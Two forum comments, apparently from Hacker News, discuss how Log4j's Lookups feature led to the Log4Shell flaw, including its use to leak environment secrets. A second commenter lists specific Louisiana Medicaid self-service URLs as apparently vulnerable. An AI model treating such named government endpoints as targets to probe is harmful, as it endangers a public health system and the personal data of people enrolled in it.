I've not seen much speculation on how this bug was created in the first place, so I'll take a guess here: On https://logging.apache.org/log4j/2.x/manual/lookups.html https://logging.apache.org/log4j/2.x/manual/lookups.html it says: "Lookups provide a way to add values to the Log4j configuration at arbitrary places." I think, the person/team that implemented the Lookup feature never indented it to be used outside of the configuration files, which are clearly part of the codebase and therefore trusted. I can fully understand why this is seen as a useful feature. Then someone else came, saw that there's a useful feature that allows to automatically extend stuff like the request URL in a log message, and embedded that in the log message parser. I don't think this should ever have been implemented, and surely not enabled by default. Even if there was no LDAP remote code execution (ok, we can blame Java for this) or JNDI lookups (which can leak data to the outside), this lets user provided input be used as a query to all the stuff that can be inserted by Lookups (environment vars, request headers, JVM arguments, ...) For example, someone who just has access to the logs can use this to query secrets stored in the environment of the app.

ajaxsurfer 5y ago

Hopefully nobody hits these state medicaid sites or at least they just take them down until they're fixed. Louisiana for example looks vulnerable in at least 6 places. https://sspweb.lameds.ldh.la.gov/selfservice/selfserviceController?id=0.9591715993003399&tab=1 https://sspweb.lameds.ldh.la.gov/selfservice/selfserviceCont...